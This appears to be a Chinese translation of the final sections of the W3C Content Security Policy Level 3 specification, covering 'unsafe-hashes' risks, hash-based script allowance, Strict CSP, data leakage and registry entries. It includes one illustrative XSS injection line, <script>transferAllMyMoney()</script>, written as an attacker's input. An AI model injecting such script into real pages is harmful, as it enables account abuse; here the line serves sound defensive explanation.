'unsafe-hashes' 提供的功能对传统网站非常有用,但在现代网站中应避免使用。特别需要注意的是,哈希允许特定脚本执行,但不能确保它按照开发人员的预期执行。如果一个有趣的功能暴露为内联事件处理程序(例如 <a onclick="transferAllMyMoney()">Transfer</a>),那么攻击者可以通过注入 <script>transferAllMyMoney()</script> 来利用它。开发人员应谨慎平衡允许特定脚本执行的风险与允许内联事件处理程序可能带来的部署优势。

8.4. 通过哈希允许外部 JavaScript

本节不是规范性内容。

在 [CSP2] 中,哈希 源表达式 仅能匹配内联脚本,但现在随着子资源完整性 [SRI] 的广泛部署,我们可以将范围扩展以启用外部化的 JavaScript。

如果为一个 script 指定了多组完整性元数据,则只有当每个项在该 script 的完整性元数据都符合策略时,请求才会匹配策略的 hash-source。

注意: CSP 规范规定,在计算内联 script 元素或事件处理程序的哈希之前,需要使用 UTF-8 编码 对其内容进行编码。而 [SRI] 则对正在获取的原始资源计算哈希。这意味着,即使内联脚本块和外部脚本具有相同内容,允许它们的哈希也可能不同。

MegaCorp, Inc. 希望以确保内容符合预期的方式在页面上允许两个特定的脚本。他们通过设置以下策略来实现:
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'

在该策略的作用下,以下 script 元素将被允许执行,因为它们仅包含符合策略的完整性元数据:

<script integrity="sha256-abc123" ...></script>
    <script integrity="sha512-321cba" ...></script>
    <script integrity="sha256-abc123 sha512-321cba" ...></script>
    

而以下 script 元素将不会执行,因为它们包含的有效元数据不符合策略(尽管其他元数据符合):

<script integrity="sha384-xyz789" ...></script>
    <script integrity="sha384-xyz789 sha512-321cba" ...></script>
    <script integrity="sha256-abc123 sha384-xyz789 sha512-321cba" ...></script>
    

未被识别的元数据(无论是因为它完全无效,还是因为它指定了尚未支持的哈希算法)不会影响这里描述的行为。也就是说,在上述策略的存在下,以下元素将被允许执行,因为附加元数据无效,因此不会允许未在策略中明确列出的脚本执行:

<script integrity="sha256-abc123 sha1024-abcd" ...></script>
    <script integrity="sha512-321cba entirely-invalid" ...></script>
    <script integrity="sha256-abc123 not-a-hash-at-all sha512-321cba" ...></script>
    

8.5. Strict CSP(严格内容安全策略)

本节不具备规范性。

针对 XSS 有效部署 CSP 是一项挑战(详见 CSP Is Dead, Long Live CSP! [LONG-LIVE-CSP])。然而,下列 CSP 指令集被认为是可实现且有效的 XSS 防护措施。

  1. script-src:仅使用 nonce source-expression 和/或 hash source-expression,并结合 "'strict-dynamic'" 关键字源。

    注意: 虽然 "'strict-dynamic'" 带来了部署便利(详见 § 8.2 “'strict-dynamic'” 的使用),如无必要应避免使用。

    注意: 为了向后兼容,建议在 "'strict-dynamic'" 下指定 https: scheme-source。

  2. base-uri:指定为 "'self'" 或 "'none'"。

符合上述条件的 CSP 被称为 Strict CSP。更多细节请参见 [WEBDEV-STRICTCSP]。

下列是 Strict CSP 的示例:

基于 nonce 的 Strict CSP:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';
    

基于 hash 的 Strict CSP:

Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';
    

8.6. 数据泄漏

本节不是规范性内容。

当请求的内容(如 URL)包含关于用户或页面的应当被限制且不应共享的信息时,可能会发生数据泄漏。

如果使用内容安全策略(CSP)来创建允许页面通信的服务器的白名单,则可以减少数据泄漏的发生。 请注意,缺少 default-src 指令的策略无法有效阻止数据泄漏, 因为某些请求类型无法通过更具体的指令来进行控制(例如,prefetch)。 [HTML]

在以下示例中,对图片、字体和脚本的严格限制策略 仍然允许通过其他请求类型(如 fetch()、 prefetch 等)进行数据泄漏: [HTML]
Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'

通过补充 default-src 'none' 来提高页面抵御这种攻击的强度。

在以下示例中,default-src 指令 似乎保护了免受数据泄漏的影响,但 img-src 指令 使用通配符放宽了此限制,从而允许将数据泄漏到任意端点。策略的泄漏缓解能力取决于最不严格的指令白名单:
Content-Security-Policy: default-src 'none'; img-src *

9. 实现注意事项

9.1. 特定供应商的扩展和插件

对资源实施的 策略 不应干扰用户代理功能 的正常运行,例如插件、扩展或书签工具。这些功能通常优先考虑用户的需求而不是页面作者的需求, 正如 [HTML-DESIGN] 中所提倡的那样。

此外,将 CSP 应用于这些功能会产生大量的违规报告噪音,显著降低其对开发者的价值。

例如,Chrome 浏览器排除了对 chrome-extension: 方案的 CSP 检查,并采取了一些措施来确保允许由扩展驱动的注入操作, 无论页面的策略如何。

10. IANA 考虑事项

10.1. 指令注册表

内容安全策略指令注册表应根据以下指令和参考资料进行更新 [RFC7762]:

base-uri

本文档(见 § 6.3.1 base-uri)

child-src

本文档(见 § 6.1.1 child-src)

connect-src

本文档(见 § 6.1.2 connect-src)

default-src

本文档(见 § 6.1.3 default-src)

font-src

本文档(见 § 6.1.4 font-src)

form-action

本文档(见 § 6.4.1 form-action)

frame-ancestors

本文档(见 § 6.4.2 frame-ancestors)

frame-src

本文档(见 § 6.1.5 frame-src)

img-src

本文档(见 § 6.1.6 img-src)

manifest-src

本文档(见 § 6.1.7 manifest-src)

media-src

本文档(见 § 6.1.8 media-src)

object-src

本文档(见 § 6.1.9 object-src)

report-uri

本文档(见 § 6.5.1 report-uri)

report-to

本文档(见 § 6.5.2 report-to)

sandbox

本文档(见 § 6.3.2 sandbox)

script-src

本文档(见 § 6.1.10 script-src)

script-src-attr

本文档(见 § 6.1.12 script-src-attr)

script-src-elem

本文档(见 § 6.1.11 script-src-elem)

style-src

本文档(见 § 6.1.13 style-src)

style-src-attr

本文档(见 § 6.1.15 style-src-attr)

style-src-elem

本文档(见 § 6.1.14 style-src-elem)

worker-src

本文档(见 § 6.2.2 worker-src)

10.2. 头部

永久消息头字段注册表应根据以下内容进行更新: [RFC3864]

10.2.1. Content-Security-Policy

头字段名称
Content-Security-Policy
适用协议
http
状态
标准
作者/变更控制者
W3C
规范文件
本规范(见 § 3.1 内容安全策略 HTTP 响应头字段)

10.2.2. Content-Security-Policy-Report-Only

头字段名称
Content-Security-Policy-Report-Only
适用协议
http
状态
标准
作者/变更控制者
W3C
规范文件
本规范(见 § 3.2 内容安全策略-仅报告 HTTP 响应头字段)

11. 致谢

有很多人值得称赞。例如:

一致性

文档约定

一致性要求通过描述性断言和 RFC 2119 术语的组合来表达。 在本文件的规范部分中, 关键词“必须 (MUST)”、“不得 (MUST NOT)”、“必需 (REQUIRED)”、“应 (SHALL)”、“不应 (SHALL NOT)”、“应该 (SHOULD)”、“不应该 (SHOULD NOT)”、“推荐 (RECOMMENDED)”、“可以 (MAY)”和“可选 (OPTIONAL)” 应按照 RFC 2119 中的描述进行解释。 但是,为了可读性, 这些词汇在本规范中并不全部以大写字母出现。

除明确标记为非规范的章节、示例和注释外, 本规范的所有内容均为规范性内容。[RFC2119]

本规范中的示例以“例如”开头, 或使用 class="example" 设置与规范性文本分开, 如下所示:

这是一个说明性示例。

说明性注释以“注意”开头, 并使用 class="note" 设置与规范性文本分开, 如下所示:

注意,这是一个说明性注释。

符合规范的算法

在算法部分以命令式表达的要求(例如“去除所有前导空格字符”或“返回 false 并中止这些步骤”)应按照引入算法时使用的关键字(例如“必须 (must)”、“应该 (should)”、“可以 (may)”等)的含义来理解。

作为算法或特定步骤表达的一致性要求可以以任何方式实现,只要最终结果是等效的即可。 特别地,本规范中定义的算法旨在易于理解,并不打算具备高效性能。 鼓励实现者进行优化。

索引

本规范定义的术语

通过引用定义的术语

参考文献

规范性参考文献

[CSS-CASCADE-5]
Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. CSS 层叠与继承第 5 级. 2022 年 1 月 13 日. CR. URL: https://www.w3.org/TR/css-cascade-5/
[CSSOM]
Daniel Glazman; Emilio Cobos Álvarez. CSS 对象模型 (CSSOM). 2021 年 8 月 26 日. WD. URL: https://www.w3.org/TR/cssom-1/
[DOM]
Anne van Kesteren. DOM 标准. 现行标准. URL: https://dom.spec.whatwg.org/
[ECMA262]
Brian Terlson; Allen Wirfs-Brock. ECMAScript® 语言 规范. URL: https://tc39.github.io/ecma262/
[ENCODING]
Anne van Kesteren. 编码标准. 现行 标准. URL: https://encoding.spec.whatwg.org/
[FETCH]
Anne van Kesteren. Fetch 标准. 现行 标准. URL: https://fetch.spec.whatwg.org/
[HTML]
Anne van Kesteren; 等. HTML 标准. 现行标准. URL: https://html.spec.whatwg.org/multipage/
[INFRA]
Anne van Kesteren; Domenic Denicola. Infra 标准. 现行标准. URL: https://infra.spec.whatwg.org/
[REPORTING]
Ilya Grigorik; Mike West. 报告 API. URL: https://wicg.github.io/reporting/
[REPORTING-1]
Douglas Creager; Ian Clelland; Mike West. 报告 API. 2025 年 6 月 11 日. WD. URL: https://www.w3.org/TR/reporting-1/
[RFC2119]
S. Bradner. 用于 RFC 中 指示要求级别的关键词. 1997 年 3 月. 当前最佳实践. URL: https://datatracker.ietf.org/doc/html/rfc2119
[RFC3492]
A. Costello. Punycode:用于应用程序中国际化域名 (IDNA) 的 Bootstring 编码. 2003 年 3 月. 提议 标准. URL: https://www.rfc-editor.org/info/rfc3492/
[RFC3864]
G. Klyne; M. Nottingham; J. Mogul. 消息头字段的注册 规程. 2004 年 9 月. 当前最佳实践. URL: https://www.rfc-editor.org/info/rfc3864/
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter. 统一 资源标识符 (URI):通用语法. 2005 年 1 月. 互联网标准. URL: https://www.rfc-editor.org/info/rfc3986/
[RFC4648]
S. Josefsson. Base16、Base32 和 Base64 数据 编码. 2006 年 10 月. 提议标准. URL: https://www.rfc-editor.org/info/rfc4648/
[RFC5234]
D. Crocker, 编.; P. Overell. 用于 语法规范的增广 BNF:ABNF. 2008 年 1 月. 互联网标准. URL: https://www.rfc-editor.org/info/rfc5234/
[RFC7762]
M. West. 内容 安全策略指令注册表的初始分配. 2016 年 1 月. 资料性文件. URL: https://www.rfc-editor.org/info/rfc7762/
[RFC8288]
M. Nottingham. Web 链接. 2017 年 10 月. 提议标准. URL: https://httpwg.org/specs/rfc8288.html
[RFC9110]
R. Fielding, 编.; M. Nottingham, 编.; J. Reschke, 编.. HTTP 语义. 2022 年 6 月. 互联网 标准. URL: https://httpwg.org/specs/rfc9110.html
[SERVICE-WORKERS]
Monica CHINTALA; Yoshisato Yanagisawa. Service Workers 每夜版. 2026 年 8 月 12 日. CRD. URL: https://www.w3.org/TR/service-workers/
[SRI]
Frederik Braun. 子资源完整性. 2026 年 3 月 20 日. WD. URL: https://www.w3.org/TR/sri-2/
[TRUSTED-TYPES]
Krzysztof Kotowicz. 受信任类型. 2026 年 6 月 23 日. WD. URL: https://www.w3.org/TR/trusted-types/
[URL]
Anne van Kesteren. URL 标准. 现行标准. URL: https://url.spec.whatwg.org/
[WEBIDL]
Edgar Chen; Timothy Gu. Web IDL 标准. 现行 标准. URL: https://webidl.spec.whatwg.org/
[WEBRTC]
Cullen Jennings; 等. WebRTC:浏览器中的实时通信. 2025 年 3 月 13 日. REC. URL: https://www.w3.org/TR/webrtc/

说明性参考文献

[APPMANIFEST]
Marcos Caceres;Daniel Murphy;Christian Liebel。网页应用清单(Web Application Manifest)。2026年8月13日。WD。URL:https://www.w3.org/TR/appmanifest/
[BEACON]
Ilya Grigorik;Alois Reitbauer。Beacon。2022年8月3日。CRD。URL: https://www.w3.org/TR/beacon/
[CSP2]
Mike West;Adam Barth;Daniel Veditz。内容安全策略 第2级(Content Security Policy Level 2)。2016年12月15日。REC。URL: https://www.w3.org/TR/CSP2/
[CSS-ABUSE]
Chris Evans。通用跨浏览器跨域盗取(Generic cross-browser cross-domain theft)。2009年12月28日。URL: https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html
[EVENTSOURCE]
Ian Hickson。服务器推送事件(Server-Sent Events)。2021年1月28日。REC。URL: https://www.w3.org/TR/eventsource/
[FILEDESCRIPTOR-2015]
filedescriptor。CSP 2015。2015年11月23日。URL: https://blog.innerht.ml/csp-2015/#danglingmarkupinjection
[H5SC3]
Mario Heiderich。H5SC 挑战3:"Sh*t, it's CSP!"。URL: https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22
[HTML-DESIGN]
Anne Van Kesteren;Maciej Stachowiak。HTML 设计原则(HTML Design Principles)。URL: https://www.w3.org/TR/html-design-principles/
[LONG-LIVE-CSP]
Lukas Weichselbaum 等。CSP已死,CSP万岁!关于白名单的不安全性及内容安全策略的未来(CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy)。2016年10月24日。URL: https://dl.acm.org/doi/10.1145/2976749.2978363
[MIX]
Emily Stark;Mike West;Carlos IbarraLopez。混合内容(Mixed Content)。2023年2月23日。CRD。URL: https://www.w3.org/TR/mixed-content/
[TIMING]
Paul Stone。像素级精准计时攻击(Pixel Perfect Timing Attacks)。URL: https://owasp.org/www-pdf-archive/HackPra_Allstars-Browser_Timing_Attacks_-_Paul_Stone.pdf
[UISECURITY]
Brad Hill。用户界面安全与可见性API(User Interface Security and the Visibility API)。2016年6月7日。WD。URL: https://www.w3.org/TR/UISecurity/
[UPGRADE-INSECURE-REQUESTS]
Mike West。升级不安全请求(Upgrade Insecure Requests)。2015年10月8日。CR。URL: https://www.w3.org/TR/upgrade-insecure-requests/
[WEBDEV-STRICTCSP]
Lukas Weichselbaum。通过严格的内容安全策略(CSP)降低跨站脚本(XSS)风险(Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP))。2021年3月15日。URL: https://web.dev/strict-csp/
[WEBSOCKETS]
Adam Rice。WebSockets 标准。Living Standard。URL: https://websockets.spec.whatwg.org/
[XHR]
Anne van Kesteren。XMLHttpRequest 标准。Living Standard。URL: https://xhr.spec.whatwg.org/
[XSLT]
James Clark。XSL 转换(XSL Transformations)1.0 版。1999年11月16日。REC。URL: https://www.w3.org/TR/xslt-10/

IDL 索引

dictionary CSPViolationReportBody : ReportBody {
    USVString documentURL;
    USVString? referrer;
    USVString? blockedURL;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    USVString? sourceFile;
    DOMString? sample;
    SecurityPolicyViolationEventDisposition disposition;
    unsigned short statusCode;
    unsigned long? lineNumber;
    unsigned long? columnNumber;
    };

    enum SecurityPolicyViolationEventDisposition {
    "enforce", "report"
    };

    [Exposed=(Window,Worker)]
    interface SecurityPolicyViolationEvent : Event {
        constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
        readonly    attribute USVString      documentURI;
        readonly    attribute USVString      referrer;
        readonly    attribute USVString      blockedURI;
        readonly    attribute DOMString      effectiveDirective;
        readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
        readonly    attribute DOMString      originalPolicy;
        readonly    attribute USVString      sourceFile;
        readonly    attribute DOMString      sample;
        readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
        readonly    attribute unsigned short statusCode;
        readonly    attribute unsigned long  lineNumber;
        readonly    attribute unsigned long  columnNumber;
    };

    dictionary SecurityPolicyViolationEventInit : EventInit {
        USVString      documentURI = "";
        USVString      referrer = "";
        USVString      blockedURI = "";
        DOMString      violatedDirective = "";
        DOMString      effectiveDirective = "";
        DOMString      originalPolicy = "";
        USVString      sourceFile = "";
        DOMString      sample = "";
        SecurityPolicyViolationEventDisposition disposition = "enforce";
        unsigned short statusCode = 0;
        unsigned long  lineNumber = 0;
        unsigned long  columnNumber = 0;
    };

    

问题索引

这种事情在任何地方都有规定吗?我在 [ECMA262] 中没有看到任何有用的东西。↵
我们究竟是如何获取状态码的?我们实际上并没有在任何地方存储它。↵
样式表加载尚未与 WHATWG HTML 中的 Fetch 集成。[whatwg/html 问题 #968] ↵
这需要更好地解释。[w3c/webappsec-csp 问题 #212] ↵
对执行上下文执行一些有趣的操作,以锁定有趣的 CSSOM 算法。我认为 CSSOM 在这里没有给我们任何钩子,所以让我们与他们合作,将一些合理的东西放在一起。↵
如果我们打算在这里使用它,我们需要某种 HTML 中的钩子来记录此错误。[whatwg/html 问题 #3257] ↵
此处理旨在减轻悬空标记攻击的风险,此类攻击会从现有元素中窃取随机数以加载注入的脚本。然而,这样做代价相当高昂,因为它要求我们遍历所有属性及其值才能确定脚本是否应该执行。在这里,我们尝试通过仅在存在随机数时对 script 元素执行此检查来最大限度地减少影响,但在我们了解其影响之前,我们可能应该将此算法视为“存在风险”。[w3c/webappsec-csp 问题 #98] ↵
目前,HTML 规范的解析算法会在§ 6.7.3.1 元素是否可设置随机数?算法运行之前移除此信息,这使得无法实际检测重复属性。[whatwg/html 问题 #3257] ↵